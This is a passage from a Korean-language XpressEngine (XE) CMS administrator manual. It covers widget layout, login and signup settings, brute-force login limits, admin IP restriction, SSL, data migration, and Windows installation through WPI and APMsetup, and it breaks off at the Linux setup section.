      위젯 생성이 완료되었으면 이를 재배치합니다. 자유게시판 위젯은 그대로 두고 그 아래에 공지사항과 등업게시판 위젯을 가로로 나란히 배치하겠습니다.

      +
    20. +
    21. 등업게시판 위젯 영역 위로 마우스 커서를 움직여 위젯 영역 왼쪽 위에 나타나는 아이콘 메뉴 중 화살표(화살표 아이콘)를 클릭합니다.
    22. +
    23. 다음과 같은 위젯 설정 화면이 나타나면 등업게시판 위젯 왼쪽에 공지사항 위젯을 나란히 둘 공간을 만들기 위해 위젯 정렬 속성을 오른쪽으로 변경하고 저장을 클릭합니다. +
      위젯 설정 화면
      +
    24. +
    25. 등업게시판 위젯의 왼쪽 아래에 있는 크기 변경 핸들(크기 변경 핸들)을 마우스로 끌어서 오른쪽으로 이동시켜 위젯의 가로 크기를 반 정도로 줄입니다. +
      줄어든 위젯
      +
    26. +
    27. 공지사항 위젯의 오른쪽 아래에 있는 크기 변경 핸들(크기 변경 핸들)을 왼쪽으로 끌어서 가로 크기를 줄입니다. 공지사항 위젯의 가로 폭이 등업게시판 왼쪽의 빈 공간보다 작아지면 등업게시판 위젯과 나란히 정렬됩니다
    28. +
    29. 다음과 같이 정렬이 완료되면 오른쪽 아래에 있는 메뉴의 저장을 클릭합니다. +
      홈페이지 저장
      +
    30. +
    +
    +
    +
    +

    시작 메뉴 설정

    +

    설정한 메뉴들 중에 하나의 메뉴를 접속 시 기본페이지로 사용할 수 있습니다. XE 최초 설치시에는 자동으로 'welcome_menu' 메뉴의 'menu1이 '접속 시 기본페이지'로 지정되어 있습니다.

    +

    접속 시 기본 페이지는 아래와 같이 변경할 수 있습니다.

    +
      +
    1. '사이트 제작/편집' > '사이트 메뉴 편집'으로 이동합니다.
    2. +
    3. 원하는 메뉴를 클릭하면 나오는 서브메뉴에서 '사이트 접속 시 기본 페이지로 사용'을 클릭합니다. +
      시작 페이지 변경
      +
    4. +
    5. XE 최초 설치시 기본페이지로 지정되어 있던 'menu1'이 '홈'으로 변경된 것을 확인할 수 있습니다.
    6. +
    +
    +
    +

    아이디 또는 이메일 로그인 설정

    +

    회원이 사이트에 로그인 할 때 '이메일+비밀번호' 또는 '아이디+비밀번호' 형식으로 로그인 하는것을 관리자가 선택할 수 있습니다.

    +
      +
    1. '회원 > 회원 설정 > 회원가입 > 가입 폼 관리' 항목으로 이동합니다. +
      + 가입 폼 관리 +
      회원 > 회원 설정 > 회원가입 > 가입 폼 관리
      +
      +
    2. +
    3. '아이디' 또는 '이메일 주소' 가운데 회원이 로그인 할 때 사용할 항목을 선택합니다.
    4. +
    5. '아이디'를 선택하면 사용자 로그인 화면에 '아이디' 입력 인풋이 표시됩니다. +
      + 아이디 입력 인풋 +
      '아이디' 입력 인풋
      +
      +
    6. +
    7. '이메일 주소'를 선택하면 사용자 로그인 화면에 '이메일 주소' 입력 인풋이 표시됩니다. +
      + 이메일 주소 입력 인풋 +
      '이메일 주소' 입력 인풋
      +
      +
    8. +
    +
    +
    +
    +

    FAQ

    +
    +

    회원설정 가입폼 관리

    +

    회원 가입폼을 커스터마이징 해서 사용할 수 있습니다. 원하는 폼 형식을 사용해서 회원 가입폼을 만들기 위해서는 다음과 같이 설정하면 됩니다.

    +
      +
    1. '회원 > 회원설정 > 회원가입 > 가입 폼 관리'로 이동합니다. 아래와 같은 모습을 볼 수 있습니다. +
      + 가입 폼 관리 +
      '가입 폼 관리' 설정 화면
      +
      +
    2. +
    3. '사용' 컬럼에 있는 체크박스를 이용해서 회원 가입시 노출시키고 싶은 대상을 선택할 수 있습니다.
    4. +
    5. 최초 설정된 내용 이외의 것을 회원 가입 시 받고 싶다면 '사용자 정의 항목 추가'를 클릭해서 새로운 form을 추가할 수 있습니다. +
      + 회원 정의 입력 +
      '회원 정의 입력' 화면
      +
      +
    6. +
    7. 입력항목 ID는 프로그램에서 사용하는 값으로 영문, 숫자로 입력하면 됩니다. 화면에 표시 될 항목 이름은 '입력항목 제목'란에 입력하면 됩니다. 해당 form을 필수로 입력받길 원한다면 '필수/선택'란에서 '필수' 라디오에 체크를 합니다.
    8. +
    9. 입력 형식은 매우 다양한 형태를 지원합니다. 원하는 형식을 선택하면 됩니다. +
      + 입력 형식 +
      다양한 form 형식 지원
      +
      +
    10. +
    +
    +
    +

    계정 무한 대입 방지

    +

    악의적인 목적을 가지고 로그인을 시도하는 경우를 방지하고자 로그인 실패 횟수를 제한하는 장치입니다. '계정 무한 대입 방지'를 사용하고자 할 경우에는 다음과 같이 하면 됩니다.

    +
      +
    1. '회원 > 회원설정 > 로그인'으로 이동합니다. 아래와 같은 모습을 볼 수 있습니다. +
      + 로그인 설정 +
      로그인 설정
      +
      +
    2. +
    3. '계정 무한 대입 방지 사용'에 '예'를 선택합니다.
    4. +
    5. '로그인 시도 횟수 제한 횟수'에 몇번의 로그인 시도를 허용할지 원하는 숫자를 입력합니다.
    6. +
    7. '로그인 시도 횟수 제한 시간'에는 제한 횟수를 넘겼을 경우 로그인을 허용하지 않을 시간을 입력합니다.
    8. +
    9. 위에서 설정한 휫수 이상 로그인이 실패할 경우 아래와 같이 표시 됩니다. +
      + 로그인 제한 초과 +
      로그인 제한 초과
      +
      +
    10. +
    +
    +
    +

    관리그룹, 관리자

    +

    관리그룹과 관리자와의 이름이 유사하여 혼동이 생길 수 있습니다. 관리그룹과 관리자의 차이는 아래와 같습니다.

    +
      +
    • 관리그룹: '회원 > 회원 그룹'에 기본적으로 생성되는 그룹으로서 실질적 관리권한이 있는 것이 아닙니다. 각 모듈 별 '권한 관리'에서 관리권한을 '관리그룹'에게 줄 경우 해당 그룹에 속해있는 회원에게 권한이 부여됩니다.
    • +
    • 관리자: XE를 최초 설치할 때 입력한 정보의 회원을 말하는 것입니다. 사이트의 모든 실절적 권한은 '관리자'에게 있습니다.
    • +
    +
    +
    +

    '임시' 문서

    +

    '콘텐츠 > 문서 > 임시'에 보면 문서목록이 보입니다. 여기에 보이게 되는 문서는 회원들이 글을 작성하는 도중 '임시 저장' 버튼을 눌러 저장한 문서입니다.

    +

    임시 저장한 문서는 다른 회원들에게 보여지지 않습니다.

    +

    임시 저장한 문서는 추후 글쓰기 화면에서 '불러오기'를 통해 다시 불러 쓸 수 있습니다.

    +

    임시 저장과 비슷한 개념으로 '자동 저장'이 있습니다. 자동 저장은 임시저장과는 달리 글쓴이가 직접 저장하는 행동을 취하지 않아도 저장되며, 글쓰기를 시작할 때 자동저장 된 글이 있으면 자동저장된 글을 불러올 것인지 물어보게 됩니다.

    +
    +
    +

    파일 목록의 '유효', '대기'

    +

    '콘텐츠 > 파일'에 보면 파일의 상태가 '유효'와 '대기'로 나누어 집니다. 각 상태는 아래와 같습니다.

    +
      +
    • 유효: 문서를 작성하면서 파일을 등록한 후 문서 작성을 완료한 상태
    • +
    • 대기: 문서를 작성하면서 파일을 등록하였지만 아직 문서 작성을 완료하지 않은 상태 또는 작성을 취소한 상태에서 남아있는 파일
    • +
    +
    +
    +

    다국어

    +

    XE는 하나의 사이트에서 여러 언어로 된 콘텐츠를 제공할 수 있도록 다국어를 지원합니다.

    +

    또한 관리자가 정의한 다국어를 등록한 다음 등록된 다국어를 사이트에서 사용할 수도 있습니다. 관리자 정의 다국어는 아래와 같은 방법으로 사용합니다.

    +
      +
    1. '콘텐츠 > 다국어'로 이동합니다.
    2. +
    3. '추가'탭에서 원하는 다국어를 입력한 후 '저장' 버튼을 눌러 저장합니다. +
      + 다국어 추가 +
      다국어 추가
      +
      +
    4. +
    5. 이미 추가 된 다국어는 '검색' 탭에서 검색할 수 있습니다. +
      + 다국어 검색 +
      다국어 검색
      +
      +
    6. +
    7. 추가된 다국어는 XE의 곳곳에서 사용 가능합니다. 하나의 예로 위에서 추가한 '한국어'란 다국어를 다음과 같이 활용할 수 있습니다. +
        +
      1. '사이트 제작/편집 > 사이트 메뉴 편집'으로 이동합니다.
      2. +
      3. 특정 메뉴를 선택 후 '메뉴 수정'을 클릭합니다.
      4. +
      5. 메뉴 수정 화면에서 '메뉴 이름' 옆에 나오는 지구본 모양 아이콘을 클릭합니다. +
        + 메뉴 이름 수정 +
        메뉴 이름 수정
        +
        +
      6. +
      7. 다국어 추가, 검색 대화창이 열립니다. 여기서 '검색' 탭을 클릭하고 바로 전에 입력한 '한국어'를 클릭합니다. 다국어가 많을 경우에는 검색을 활용합니다. 검색 입력 폼 앞의 select 옵션을 선택하면 각 언어별로 검색할 수 있습니다. '한국어'가 다국어로 어떻게 쓰일지 보여지고 확인을 하였다면 우측 하단의 '사용' 버튼을 누릅니다. +
        + 다국어 사용 +
        다국어 사용
        +
        +
      8. +
      9. 아래와 같이 적용 된 것을 볼 수 있습니다. 적용된 다국어를 사용하고 싶지 않을 경우에는 X 버튼을 눌러 적용 해제할 수 있습니다. +
        + 다국어 적용된 모습 +
        다국어 적용된 모습
        +
        +
      10. +
      11. 위와 같이 설정을 마치고 나면 해당 메뉴는 한국어와 영어 모두 지원 됩니다. 한국어로 설정하면 '한국어'라는 메뉴가, 영어로 설정하면 'English'라는 메뉴가 노출되게 됩니다.
      12. +
      +
    8. +
    +
    +
    +

    관리자 접속 아이피 대역 관리

    +

    관리자의 아이디와 비밀번호만 알게 되면 관리자로 어느 곳에서나 로그인이 가능합니다. 따라서 관리자 아이디로 접속할 수 있는 아이피 대역을 제한해 두면 보안에 유리합니다.

    +

    관리자의 아이디로 접속할 수 있는 아이피 대역을 설정하기 위해서는 다음과 같이 하면 됩니다.

    +
      +
    1. '설정 > 일반'을 접속합니다.
    2. +
    3. '고급'의 '관리자 IP대역'에 원하는 IP를 입력합니다. +
      + 관리자 IP 대역 입력 +
      관리자 IP 대역 입력
      +
      +
    4. +
    5. ip를 직접 수정하고 싶으신 분은 'XE설치폴더/files/db.config.php'의 "$db_info->admin_ip_list = '127.0.0.1,127.0.0.2';" 부분을 수정해 주면 됩니다.
    6. +
    7. 관리자 아이디로 로그인 하였지만 ip 제한에 걸린 경우에는 다음과 같은 모습을 보게 됩니다. +
      + 관리자 접속 제한 +
      관리자 접속 제한
      +
      +
    8. +
    +
    +
    +

    SSL 접속

    +

    일반 접속은 사용자와 서버간에 전송되는 내용이 암호화되지 않아 중요한 정보가 악의적인 사용자에 의해 탈취당할 수 있습니다. 이를 방지하기 위해 SSL 접속을 사용할 수 있습니다.

    +

    XE에서는 SSL 접속을 '선택적'으로 또는 '항상' 사용할 수 있습니다.

    +

    선택적으로 사용할 경우에는 '회원가입', '정보 수정' 등에서만 SSL 접속을 유지합니다.

    +

    관련 설정은 '설정 > 일반 > 고급 > SSL(Secure Sockets Layer) 사용'에서 선택할 수 있습니다.

    +
    참고 +

    서버에 SSL이 설치되어 있지 않은 경우에는 접속 기능이 동작하지 않습니다. 먼저 SSL이 설치되어 있는지 확인 후 사용하시기 바랍니다.

    +
    +
    +
    +

    짧은 주소

    +

    짧은 주소는 복잡하고 어려운 XE의 주소를 간단하게 사용할 수 있도록 줄여주는 기능입니다. 짧은 주소를 사용하게 되면 아래와 같은 이점이 있습니다.

    +
      +
    • 짧은 주소: http://xemanual.com/freeboard/123
    • +
    • 원래 주소: http://xemanual.com/index.php?mid=freeboard&document_srl=123
    • +
    +

    짧은 주소를 사용하길 원할 경우에는 '설정 > 일반 > 고급 > 짧은 주소 사용'에 '예'를 선택한 후 '저장'하면 됩니다.

    +
    +
    +

    데이터 들여오기

    +

    제로보드4, zb5beta 또는 다른 프로그램의 데이터를 XE 데이터로 이전할 수 있습니다. 데이터의 추출은 공식사이트의 자료실에서 다운로드 받으시거나 svn을 통해 xe-migration project를 export 받으시면 됩니다.

    +

    XE의 '게시물 정보'를 다른 XE사이트 게시물로 이전하는 작업을 예로 들어 설명해 드리도록 하겠습니다.

    +
      +
    1. 공식사이트의 자료실에서 "XpressEngine 데이터 추출 Ver 0.3"을 다운로드 받거나 xe-migration project에서 소스를 export 받습니다.
    2. +
    3. 다운로드 받은 소스를 URL로 접근 가능한 곳에 압축을 풉니다. 이 예제에서는 XE의 URL이 http://example.com/xe/라면 http://example.com/migration/ 아래로 하겠습니다.
    4. +
    5. 브라우져로 http://example.com/migration/index.php으로 접근하면 아래와 같은 모습을 볼 수 있습니다. +
      + XE data export 초기화면 +
      XE data export 초기화면
      +
      +
    6. +
    7. 2번에서 이야기한 url에 근거해 '설치 경로 입력'란에 "../xe" 라고 입력합니다. 절대 경로로 입력해도 됩니다. 사용자에 따라 입력 경로가 달라질 수 있습니다.
    8. +
    9. 설치 경로 입력 후 '설치 경로 입력' 버튼을 누르면 아래와 같은 모습을 볼 수 있습니다. +
      + 추출 대상 선택 +
      추출 대상 선택
      +
      +
    10. +
    11. 이 예제에서는 게시물 정보를 이전할 예정이니 '게시판'을 선택 후 '자유게시판'을 선택합니다. 선택 후 '추출 대상 선택' 버튼을 누릅니다.
    12. +
    13. 아래와 같은 결과가 나옵니다. +
      + 추출 옵션 선택 및 다운로드 +
      추출 옵션 선택 및 다운로드
      +
      +
    14. +
    15. 분할 수는 추출하는 데이터를 몇개의 파일로 나누어서 받을 지 결정하는 것입니다. 여기서는 게시물의 수가 많지 않으므로 1개로 받도록 하겠습니다.
    16. +
    17. 첨부파일을 포함하고 싶지 않을 경우에는 '첨부파일 미포함'에 체크를 합니다.
    18. +
    19. 데이터 들여오기 시 실제 xml 파일을 서버에 올려놓아 사용하거나 URL을 복사해서 사용할 수 있습니다. 여기서는 실제 xml 파일을 다운로드 받아 사용하도록 하겠습니다.
    20. +
    21. 옵션을 모두 결정했다면 파일명(module_57395.000001.xml)을 눌러 다운로드를 받습니다.
    22. +
    23. 다운로드 받은 파일을 xe가 설치된 위치에 업로드 합니다.
    24. +
    25. 관리자의 '콘텐츠 > 데이터 들여오기'로 들어갑니다.
    26. +
    27. '게시물 정보'의 xml 파일 입력 폼에 파일 명을 아래와 같이 입력한 후 '경로 확인' 버튼을 누릅니다. +
      + 경로 확인 +
      경로 확인
      +
      +
      참고 +

      실제 파일이 아니라 export에서 복사한 url을 입력해도 됩니다.

      ex) http://example.com/migration/export.php?filename=module_57395.000001.xml&path=..%2Fmaserati&target_module=module&module_id=57395&start=0&limit_count=1232&exclude_attach=

      +
      +
    28. +
    29. 'XML 파일을 찾았습니다.'란 메시지가 뜨면서 추가 입력상자가 보이게 됩니다. 'XML 파일을 찾을 수 없습니다.'라는 메시지가 보이게 되면 경로가 잘못 입력한 것이니 경로를 위치가 맞는지 확인해 보아야 합니다.
    30. +
    31. '찾기' 버튼을 통해 어떤 메뉴로 데이터를 이전할 것인지 선택합니다.
    32. +
    33. 회원 아이디 기반으로 회원정보를 동기화 시키고 싶다면 '회원정보 동기화' 체크박스에 체크합니다.
    34. +
    35. 필요한 내용을 모두 입력하였으면, '데이터 들여오기' 버튼을 클릭합니다. 아래와 같이 '데이터 이전중입니다'라는 프로그레스바가 보이면서 데이터가 이전 됩니다. +
      + 데이터 이전 중 +
      데이터 이전 중
      +
      +
      참고 +

      데이터 이전에는 오랜 시간이 걸릴 수 있으므로, 게시물의 수가 많을 경우에는 분할하여 이전하시고 프로그레스바가 표시 중일때는 브라우져를 새로고침하지 말고 기다려 주시기 바랍니다.

      +
      +
    36. +
    37. 데이터 이전이 완료되면 아래와 같이 메시지가 나타납니다. +
      + 데이터 이전 완료 +
      데이터 이전 완료
      +
      +
    38. +
    +
    +
    +

    관리자 메뉴 초기화

    +

    관리자 메뉴는 "설정 > 관리자 설정"에서 추가, 삭제할 수 있습니다. 추가, 삭제후 최초의 관리자 메뉴로 되돌리고 싶을 경우 '관리자 메뉴 초기화'를 할 수 있습니다. 관리자 메뉴 초기화를 하게 되면 XE 최초 설치시 설정 된 관리자 메뉴로 복원 됩니다.

    +
    +
    +

    캐시파일 재생성

    +

    + XE는 최적의 성능을 내기 위해 각종 캐시 파일을 사용합니다. 하지만 캐시 파일이 최신 내용의 적용되지 않음으로 인해 문제가 발생할 수 있습니다. 이럴 경우에는 관리자 하단에 있는 '캐시파일 재생성'을 통해 캐시파일을 새롭게 만들어 줄 수 있습니다. +

    참고 +

    XE의 모든 기능에 캐시 기능이 들어 있는 것이 아니며, 캐시파일 재생성 역시 모든 기능에서 지원하는 것이 아닙니다. 따라서 캐시파일 재생성을 지원하는 기능에 한해 동작하게 됩니다.

    +
    +

    +
    +
    +

    세션 정리

    +

    오랜기간 사이트를 운영하다 보면 사용자의 정보 등을 담고 있는 세션들 중 일부 데이터가 가비지(찌꺼기) 데이터가 되는 경우가 있습니다. 이로 인해 사이트 자체가 느려지게 될 수 있습니다. 이럴 경우 '세션 정리'를 하게 되면 사이트의 속도 향상에 도움이 됩니다. 세션 정리의 경우 사이트에 부하가 발생할 수 있으므로 접속자가 적은 시간 또는 사이트의 운영을 중지한 상태로 진행하시기 바랍니다.

    +
    +
    +

    문서 페이지

    +

    '회사 소개'와 같이 거의 갱신할 필요가 없는 정적인 문서입니다. 관리자는 '글, 이미지, 멀티미디어' 등을 문서 페이지에 직접 작성하거나 수정할 수 있습니다. 만약 프로그램에 의해 동적으로 갱신되는 콘텐츠를 문서에 삽입하고 싶다면 '문서 페이지' 대신 '위젯 페이지'를 사용하세요.

    +
    +
    +

    위젯 페이지

    +

    '초기 화면'과 같이 수시로 갱신할 필요가 있는 동적인 문서입니다. '문서 페이지'와 같이 정적인 내용을 추가할 수도 있지만 각종 '위젯'을 삽입하면 동적인 내용을 출력할 수 있습니다. 위젯 페이지에 '콘텐츠 위젯'을 삽입함으로써 초기 화면에 최근 게시물을 표시할 수 있습니다.

    +
    +
    +

    외부 페이지

    +

    '사이트 제작/편집 > 사이트 메뉴 편집'에서 메뉴 추가 시 '외부 페이지' 타입이 있습니다. 여기서 말하는 '외부 페이지'란 XE의 모듈을 이용하지 않고 별도로 개발자가 작성한 페이지를 말합니다.
    외부 페이지는 3rd party 개발자가 작성한 프로그램 소스가 들어가 있을 수 있으며, 아니면 순수 html로만 만들어진 경우도 있습니다.

    +

    외부 페이지에서도 XE의 모듈 개발시 사용되는 기본적인 라이브러리 사용이 가능합니다. +

    참고 +

    메뉴 추가의 '바로가기' 타입에서 URL링크를 통해 추가할 수 있는 것과는 다른 개념입니다.

    +
    +

    +
    +
    +

    바로가기

    +

    '사이트 제작/편집 > 사이트 메뉴 편집'에서 메뉴 추가 시 '바로가기'가 있습니다. 여기서 말하는 '바로가기'란 이미 만들어져 있는 메뉴 또는 외부 링크를 연결하는 메뉴입니다. 윈도우의 바로가기와 비슷한 메뉴라고 보면 됩니다.

    +

    윈도우의 '바로가기' 삭제 시 원본이 삭제 되지 않는 것처럼, XE에서도 바로가기 메뉴 삭제시 원본 메뉴에는 영향을 미치치 않습니다.

    +
    +
    +

    메뉴 노출 대상

    +

    '사이트 제작/편집 > 사이트 메뉴 편집 > 권한'에 '메뉴 노출 대상'이 있습니다. '메뉴 노출 대상'은 다른 권한과는 달리 접근 자체를 제한하는 기능은 없습니다. 다만 메뉴를 보여주고 싶지 않은 대상일 경우 노출을 제한할 수 있습니다.

    +

    + 예를 들어 아래와 같이 노출 대상은 '로그인 사용자', 접근 권한은 '모든 사용자'로 설정을 하게 될 경우, 로그인을 안한 사용자에게 메뉴는 보이지 않지만 접근 URL을 알고 있다면 해당 메뉴에 접근할 수 있습니다. +

    + 권한 설정 +
    권한 설정
    +
    +

    +
    +
    +
    +

    부록

    +
    +

    Windows 환경 설정

    +

    Windows 환경에서 XE를 설치하는 방법에는 크게 두 가지가 있습니다. WPI를 사용하는 방법과 APMsetup을 사용하는 방법입니다. 두 가지 방법 모두 웹 서버인 IIS(Internet Information Server)를 설치할 때 포트 번호로 80을 사용하도록 설정하기 때문에, 한 컴퓨터에 두 가지 방법을 모두 사용할 수 없습니다. 사용자의 설치 환경에 따라 두 가지 방법 중 하나를 선택해서 사용합니다.

    +
    참고 +

    Windows XP에서 WPI를 사용하여 XE를 설치하면 URL을 기억하기 쉽게 줄여주는 mod_rewrite를 사용할 수 없습니다. mod_rewrite를 사용하려면 APMsetup을 사용해서 XE를 설치해야 합니다.

    +

    WPI로 패키징된 XE는 1.4.0.5 버전입니다. 최신 버전의 XE를 설치하려면 APMsetup을 사용하거나, WPI를 사용해서 설치한 후에 XE core를 별도로 업데이트해야 합니다.

    +
    +
    +

    계정 설정

    +

    Windows 계열 서버에 XE를 설치하려면 서버에 접근할 수 있는 계정이 필요합니다. 서버 계정은 서버 관리자에게 문의하여 얻습니다. 서버를 직접 관리하는 경우에는 기존 계정을 사용하거나 새로운 계정을 생성하여 사용합니다.

    +

    계정 이름을 정하고 나면 계정 유형을 선택할 수 있습니다. 서버 보안을 유지하기 위해 가능하면 제한된 계정을 선택하여 해당 계정의 권한을 최소화하는 것을 권장합니다.

    +
    +
    +

    원격 데스크톱 연결

    +

    서버를 직접 조작할 수 없을 경우 원격에서 서버에 접속하여 조작할 수 있는 방법이 필요합니다. Windows 시스템은 다른 컴퓨터에 접속하여 조작할 수 있게 하는 '원격 데스크톱 연결' 프로그램을 제공합니다.

    +

    원격 데스크톱 연결을 사용하려면 서버의 도메인 주소나 IP 주소가 필요합니다. 이미 도메인 설정이 되어 있으면 설정된 도메인을 사용하여 접속하면 되지만, 그렇지 않은 경우 IP 주소를 사용해야 합니다. 서버의 IP 주소를 확인하고 원격 데스크톱 연결로 그 주소에 접속하는 방법은 다음과 같습니다.

    +
      +
    1. Windows 서버의 명령 프롬프트를 실행합니다.
    2. +
    3. ipconfig 명령어를 입력해서 서버의 IP 주소를 확인합니다. +
      CMD Prompt 화면
      +
    4. +
    5. 내 컴퓨터에서 시작 > 보조프로그램 > 원격 데스크톱 연결을 실행하거나, 명령 프롬프트에서 mstsc를 실행합니다.
    6. +
    7. 원격 데스크톱 연결 창이 나타나면 컴퓨터에 연결할 서버의 주소를 입력하고 연결을 클릭합니다. +
      원격 테스크톱 연결 창
      +
    8. +
    9. 서버의 계정과 암호를 입력하는 화면이 나타나면, "계정 설정"에서 생성한 계정 정보를 입력하여 서버에 로그인합니다.
    10. +
    +
    +
    +

    WPI 사용

    +

    WPI는 마이크로소프트 사에서 웹 플랫폼 제품을 편리하게 사용할 수 있도록 만든 도구입니다. 서버에 필요한 구성 요소나 웹 응용프로그램을 자동으로 설치 및 설정합니다.

    +

    WPI는 웹 응용프로그램을 설치할 때 그 웹 응용프로그램에 필요한 구성 요소를 한꺼번에 설치합니다. 따라서 WPI를 사용하여 XE를 설치할 때 XE 설치에 필요한 프로그램도 함께 설치됩니다.

    +

    마이크로소프트 웹 플랫폼 공식 사이트(http://www.microsoft.com/web/default.aspx)에서 WPI 실행기를 다운로드합니다.

    +

    WPI 실행기 실행 및 XE 설치 시작

    +
      +
    1. WPI 실행기를 실행하고, 웹 응용 프로그램 탭에서 콘텐츠 관리를 선택합니다.
    2. +
    3. 콘텐츠 관리 탭의 응용 프로그램 목록 중에서 XpressEngine을 찾아 선택하고 설치를 누릅니다. +
      콘텐츠 관리 탭
      +
    4. +
    5. XE core를 설치하기 위해 추가로 설치 및 설정되는 구성 요소 정보를 확인하고 동의함을 클릭하여 설치합니다.
    6. +
    +

    추가 구성 요소의 설치

    +

    추가로 설치되는 구성 요소 중에 MySQL DBMS가 포함되어 있으면 MySQL DBMS을 설치하면서 관리자 암호를 지정해야 합니다. 관리자 암호를 지정하는 화면이 나타나면 암호를 지정하고 계속을 클릭합니다.

    +
    참고 +

    WPI에서 MySQL 관리자 암호를 처음 지정할 때, 영소문자, 영대문자, 숫자, 기호가 모두 포함된 암호를 지정해야 합니다. MySQL 관리자 암호는 XE를 설치할 때 반드시 필요한 정보이므로 꼭 기억해 두어야 합니다.

    +
    +

    계정 설정이 완료되면 구성 요소가 설치됩니다.

    +

    XE 설치에 필요한 정보 입력

    +

    XE 설치에 필요한 구성 요소의 설치가 끝나면 XE 설치가 시작됩니다.

    +
      +
    1. 다음과 같이 XE를 설치할 사이트 정보를 입력하고 계속을 클릭합니다. +

      특별히 추가로 설정할 내용이 없다면 기본 설정을 그대로 사용합니다.

      +
      웹 플랫폼 설치 화면
      +
    2. +
    3. 다음과 같이 XE core 설치 정보를 입력하고 계속을 클릭합니다. +
      +
      데이터베이스:
      +
      XE에서 사용할 DBMS의 종류. 이 문서에서는 MySQL을 선택합니다.
      +
      새 데이터베이스 만들기 또는 기존 데이터베이스 사용:
      +
      기존의 데이터베이스를 사용하여 XE를 운영할 것인지, 새 데이터베이스를 사용할 것인지 선택. 가능하면 새 데이터베이스 만들기를 권장합니다.
      +
      데이터베이스 관리자:
      +
      선택된 DBMS의 관리자 ID. 이 문서에서 사용된 MySQL의 관리자 ID는 root입니다.
      +
      데이터베이스 관리자 암호:
      +
      선택된 DBMS의 관리자 암호. "추가 구성 요소의 설치"에서 지정한 MySQL 관리자 암호를 입력합니다.
      +
      데이터베이스 사용자 이름:
      +
      XE에서 데이터베이스에 접근할 때 사용할 사용자 이름
      +
      데이터베이스 암호:
      +
      XE에서 데이터베이스에 접근할 때 사용할 사용자 암호
      +
      데이터베이스 서버:
      +
      DBMS가 설치된 위치를 URL 형식으로 지정. 이 문서에서는 서버와 DBMS가 같은 컴퓨터에서 동작하므로 localhost를 입력합니다.
      +
      데이터베이스 이름:
      +
      XE에서 사용할 기존 혹은 새 데이터베이스의 이름
      +
      데이터베이스 테이블 접두사:
      +
      XE에서 생성한 테이블 이름에 사용할 머리말
      +
      XE 관리자 ID:
      +
      XE 관리자 ID
      +
      XE 관리자 이름:
      +
      XE 관리자 이름
      +
      XE 관리자 닉네임:
      +
      XE 관리자 계정의 별명
      +
      XE 관리자 패스워드:
      +
      XE 관리자 계정의 패스워드
      +
      XE 관리자 e-mail 주소:
      +
      XE 관리자 계정의 e-mail 주소
      +
      URL Rewrite 사용 여부:
      +
      mod_rewrite 사용 여부. 이 항목을 활성화하면 URL을 기억하기 쉽게 줄여서 사용할 수 있습니다.
      +
      GMT Timezone:
      +
      XE가 서비스할 지역의 표준시
      +
      +
    4. +
    +

    설치 확인

    +

    모든 설치 과정이 완료되면 웹 브라우저를 사용하여 사이트에 접속합니다. 정상적으로 설치가 완료되었으면 다음과 같은 화면이 나타납니다.

    +
    XE 설치 완료 화면 +
    XE 설치 완료 화면
    +
    +
    참고 +

    WPI를 사용해서 XE를 설치하면 최신 버전의 XE core가 설치되지 않습니다. XE core를 최신 버전으로 업데이트하려면 공식사이트에서 제공하는 XE core 최신 버전 파일을 다운로드해서 압축을 해제한 후 XE 설치 사이트 최상위 폴더(C:\Inetpub\wwwroot\xe)에 덮어 쓰도록 합니다.

    +
    +
    +
    +

    APMsetup 사용

    +

    APMsetup은 XE를 설치하는 데 필요한 구성 요소인 아파치 웹 서버, PHP, MySQL 데이터베이스를 한 번에 설치하고, 사용에 필요한 연동 설정을 자동으로 해 주는 프로그램입니다.

    +

    APMsetup 설치

    +

    다음과 같이 APMsetup을 설치합니다.

    +
      +
    1. APMsetup 공식 사이트(http://www.apmsetup.com)에서 최신 APMsetup 설치 파일을 다운로드합니다. 문서 작성 시점에 배포되어 있는 최신 버전은 APMsetup 7입니다.
    2. +
    3. 다운로드한 설치 파일을 실행합니다. 특별한 설정이 필요 없으면 기본 설정 상태로 설치를 진행하여 완료합니다. +
      참고 +

      APMsetup은 아파치 웹 서버를 설치할 때 포트 번호로 80을 사용하도록 설정합니다. 그러므로 시스템에 이미 포트 번호로 80을 사용하는 소프트웨어가 있을 경우에는 APMsetup을 정상적으로 설치할 수 없습니다.

      +
      +
    4. +
    5. http://localhost/로 접근해서 다음과 같은 페이지가 나타나는지 확인합니다. +
      localhost 화면
      +
    6. +
    +

    APMsetup 설정

    +

    APMsetup 설정에서는 DB root 계정 패스워드를 변경하고 새로운 계정을 생성합니다. 이 과정이 XE를 설치하는 데 필수 조건은 아니지만 서버 보안을 위해서 아래와 같이 설정하기를 권장합니다.

    +
      +
    1. 작업 표시줄에 있는 APMsetup의 아이콘(APM 트레이아이콘)을 마우스 오른쪽 버튼으로 클릭하고, APMsetup 설정 메뉴에서 MySQL root 패스워드 변경을 선택합니다. +
      APMsetup 아이콘 마우스 오른쪽 버튼으로 클릭
      +
    2. +
    3. 현재 MySQL root계정 패스워드에 초기 패스워드인 apmsetup을 입력하고, 새 패스워드를 입력한 후 MySQL root계정 패스워드 변경을 클릭합니다. +
      참고 +

      이 문서는 APMsetup 7을 기준으로 설명합니다. 초기 패스워드가 apmsetup이 아니면 APMsetup 공식 사이트에서 설치하고 있는 APMsetup 버전의 초기 패스워드를 확인하시기 바랍니다.

      +
      +
    4. +
    5. XE를 설치할 때 사용할 새로운 데이터베이스 계정과 데이터베이스를 생성하기 위해 APMsetup 설정 메뉴에서 MySQL 신규 계정 생성을 선택합니다.
    6. +
    7. MySQL 계정 생성 창이 나타나면 계정 생성 정보를 입력하고 신규 계정 생성을 클릭합니다. +

      현재 MySQL root계정 패스워드에 변경한 MySQL 관리자 패스워드를 입력하고, 생성할 MySQL 계정 아이와 패스워드, 디비명에 사용자가 원하는 값을 입력합니다. 연결 문자 집합과 정렬은 기본값을 그대로 사용합니다.

      +
      참고 +

      새로 생성할 MySQL 계정과 패스워드, 데이터베이스 이름은 XE를 설치하는 데 필요한 정보이므로 꼭 기억해 두어야 합니다.

      +
      +
    8. +
    +

    XE core 설치 파일 압축 해제

    +

    \APM_setup\htdocs에 XE core 최신 설치 파일의 압축을 해제합니다.

    +

    압축 해제가 완료되면 xe 디렉터리가 생성된 것을 확인할 수 있습니다. 도메인 경로로 웹 페이지에 접근하려면 생성된 xe 디렉터리 하위 내용을 최상위 디렉터리로 이동시킵니다.

    +

    이제 "XE core 설치"를 참조해서 XE core를 설치합니다.

    +
    +
    +
    +

    Linux 환경 설정

    +

    이 절에서는 Linux 서버를 사용하여 XE를 설치할 때 필요한 기본 정보를 설명합니다.

    +
    +

    계정 설정

    +

